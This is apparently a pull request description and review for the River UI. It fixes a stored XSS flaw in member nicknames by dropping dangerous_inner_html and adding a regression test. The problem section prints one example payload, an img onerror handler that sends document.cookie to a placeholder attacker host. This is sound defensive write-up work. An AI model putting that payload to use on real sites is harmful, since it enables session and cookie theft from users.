fix(ui): close stored XSS via member nickname (#227)

[sanity]

Problem

Member nicknames come from each member's own signed MemberInfoV1.preferred_nickname blob — attacker-controllable bytes that River's cross-validation only checks for signature, not content. A member could set their nickname to e.g.

<img src=x onerror="fetch('https://attacker/'+document.cookie)">

and every other room member's browser would execute the payload when opening the member list.

The hole was at ui/src/components/members.rs:

• format_member_display() concatenated member.nickname directly into hand-built <span> tags as a single HTML string.
• The member-row render then routed that string through dangerous_inner_html, evaluating the nickname's HTML/JS verbatim.

Stored XSS, exploitable by any member of any room. Impact is broad because the iframe River loads inside still owns its own cookies / IndexedDB / WebSocket connections.

Approach

Eliminate the HTML-string concatenation pattern entirely rather than add an escape pass on top.

• format_member_display(&MemberDisplay) -> String becomes member_display_parts(&MemberDisplay) -> MemberDisplayParts { nickname, tags }.
• The render in MemberList emits the nickname as a plain Dioxus text node and the tag icons as proper Dioxus child elements — no dangerous_inner_html anywhere in the member-row tree.

This matches the project's State Authorization precedent (PR #226 fixed the analogous <a>-inside-<button> issue in the room header) and removes the attack class structurally — future callers can't forget to escape, because the unsafe attribute is no longer on the path.

The companion site flagged in the issue (ui/src/components/conversation.rs::beautify_freenet_label) already has a defensive HTML-character guard at the function level that refuses to beautify URLs containing <, >, or ". It's not exploitable today and is out of scope for this PR.

Testing

Three new tests in ui/src/components/members.rs::tests:

• member_display_parts_keeps_nickname_unescaped_and_separated — verifies the function returns the raw nickname in a separate field so the caller renders it as a text node (the structural guarantee).
• member_display_parts_collects_tags_for_owner_and_self — pins the tag-collection behaviour the old function provided.
• member_row_does_not_use_dangerous_inner_html — source-grep pin test: scans the MemberList component body for the literal dangerous_inner_html: Dioxus attribute and fails CI if anyone reintroduces it. This is the regression gate.

Local validation:

• cargo test -p river-ui --bins — 245 tests pass.
• cargo check -p river-ui --target wasm32-unknown-unknown --features no-sync — clean.
• cargo clippy -p river-ui --bins --all-features — no new lints in members.rs.

No WASM artifacts touched — UI-only change, no contract or delegate key impact, no migration needed.

Closes #227

[AI-assisted - Claude]

[sanity]

Multi-Model Review — PR #314

Ran the four parallel freenet:* reviewer perspectives plus an external Codex pass. Consolidated findings and how they were addressed:

Blocking findings

None. All four reviewers agreed the fix structurally closes the XSS:

• Codex independently verified Dioxus 0.7 setAttributeInner special-cases ONLY the literal dangerous_inner_html attribute for innerHTML; every other attribute goes through DOM setAttribute, which auto-escapes. The skeptical reviewer confirmed the same against dioxus-interpreter-js-0.7.4/src/ts/set_attribute.ts:63 and dioxus-web-0.7.9/src/mutations.rs:45,119 (rsx text-node interpolation compiles to createTextNode, which cannot parse HTML).
• Tag icons (👑, ⭐, etc.) and tooltip strings are &'static str literals — the type Vec<(&'static str, &'static str)> mechanically forbids attacker-controlled data from reaching them.
• No other nickname-render site missed: InvitedByField, DM peer label, DM rail row label, and invite-via-DM picker all already use text-node interpolation.

MAJOR — pin-test bypass surface (skeptical + testing reviewers)

Original pin: scanned a window bounded by #[component] markers and matched the literal dangerous_inner_html: substring. Bypassable via:

• Whitespace before the : (rustfmt edge cases).
• A future child component outside the scanned window.
• Doc-comment text either falsely tripping or disarming the test.

Addressed in d9f572a7:

• Slice the file at the #[cfg(test)] boundary; lock down the production slice.
• Walk every dangerous_inner_html in production code and assert the next non-whitespace char is NOT :. Bare mentions in comments are fine; attribute uses fail with or without whitespace.
• Apply the ban file-wide (no component in members.rs legitimately needs the unsafe attribute), so a refactor that moves the row to a sibling component still fails the pin.
• Keep the text-node pin (span { "{parts.nickname}" }) reading from the same slice.

MINOR — visual tag spacing (code-first + Codex + skeptical reviewers)

Tags previously rendered as nickname <span>icon</span> <span>icon</span> (HTML where adjacent whitespace collapses). Now: <span>nickname</span><span> icon</span><span> icon</span>. Functionally identical to the user; gap between consecutive tags drops from two spaces to one. Not a regression I'm willing to fix at the cost of HTML concatenation; this PR is about closing the XSS structurally.

MINOR — stale comment in Playwright test (big-picture reviewer)

ui/tests/invite-via-dm-picker.spec.ts:128 referenced the renamed format_member_display. Fixed in d9f572a7.

NOTE — other dangerous_inner_html sites

Three remain (conversation.rs:1531 desc_html, conversation.rs:2105 msg.content_html, dm_thread_modal.rs:1127 body_html). All flow through message_to_html → markdown::to_html_with_options(_, Options::gfm()), which keeps allow_dangerous_html=false and allow_dangerous_protocol=false by default. Codex and big-picture reviewers independently confirmed the GFM defaults sanitize raw HTML. conversation.rs::beautify_freenet_label has the explicit </>/" guard already. Out of scope for this PR per the original issue. Worth a follow-up issue to pin in a test that markdown::Options::gfm() never silently flips to allow dangerous HTML — filing separately.

Test status

cargo test -p river-ui --bins — 246 pass.
cargo check -p river-ui --target wasm32-unknown-unknown --features no-sync — clean.
No WASM artifacts touched.

[AI-assisted - Claude]